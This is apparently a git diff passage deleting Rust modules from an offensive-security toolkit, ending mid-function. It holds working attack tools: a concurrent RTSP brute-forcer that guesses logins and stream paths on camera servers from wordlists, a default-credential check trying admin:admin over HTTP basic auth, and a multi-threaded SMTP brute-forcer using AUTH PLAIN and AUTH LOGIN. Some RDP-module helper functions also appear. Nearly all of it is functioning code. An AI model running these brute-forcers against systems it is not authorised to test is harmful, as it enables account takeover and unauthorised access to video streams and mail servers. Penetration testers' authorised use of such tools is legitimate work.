||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|line| !line.trim().is_empty())
|
||||
.count())
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"rdp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
fn format_socket_address(ip: &str, port: u16) -> String {
|
||||
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
|
||||
format!("[{}]:{}", trimmed_ip, port)
|
||||
} else {
|
||||
format!("{}:{}", trimmed_ip, port)
|
||||
}
|
||||
}
|
||||
@@ -1,485 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect();
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
|
||||
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Target host cannot be empty."));
|
||||
}
|
||||
|
||||
let normalized_host = if host_part.starts_with('[') {
|
||||
if host_part.contains("]:") {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
let colon_count = host_part.matches(':').count();
|
||||
if colon_count == 0 {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
} else if colon_count == 1 {
|
||||
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
|
||||
if port_str.parse::<u16>().is_ok() {
|
||||
if host_only.contains(':') {
|
||||
format!("[{}]:{}", host_only, port_str)
|
||||
} else {
|
||||
host_part.to_string()
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("[{}]:{}", host_part, default_port)
|
||||
}
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((normalized_host, normalized_path))
|
||||
}
|
||||
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1,26 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,296 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::Colorize;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::time::Duration;
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
let port = prompt_port(25);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
};
|
||||
run_smtp_bruteforce(config)
|
||||
}
|
||||
|
||||
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("[*] Loaded {} username(s).", usernames.len());
|
||||
println!("[*] Loaded {} password(s).", passwords.len());
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
} else {
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
|
||||
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
let mut banner_ok = false;
|
||||
for _ in 0..3 {
|
||||
let event = telnet.read().context("Banner read error")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("220") { banner_ok = true; break; }
|
||||
}
|
||||
}
|
||||
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
|
||||
telnet.write(b"EHLO scanner\r\n")?;
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
let mut buf = String::new();
|
||||
for _ in 0..6 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
buf.push_str(&s);
|
||||
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
|
||||
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
|
||||
if s.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
}
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
telnet.write(cmd.as_bytes())?;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
}
|
||||
}
|
||||
}
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
telnet.write(b"AUTH LOGIN\r\n")?;
|
||||
let mut expect_user = false;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_user = true; break; }
|
||||
}
|
||||
}
|
||||
if !expect_user { return Ok(false); }
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
telnet.write(ucmd.as_bytes())?;
|
||||
let mut expect_pass = false;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_pass = true; break; }
|
||||
}
|
||||
}
|
||||
if !expect_pass { return Ok(false); }
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
telnet.write(pcmd.as_bytes())?;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut b = String::new();
|
||||
match io::stdin().read_line(&mut b) {
|
||||
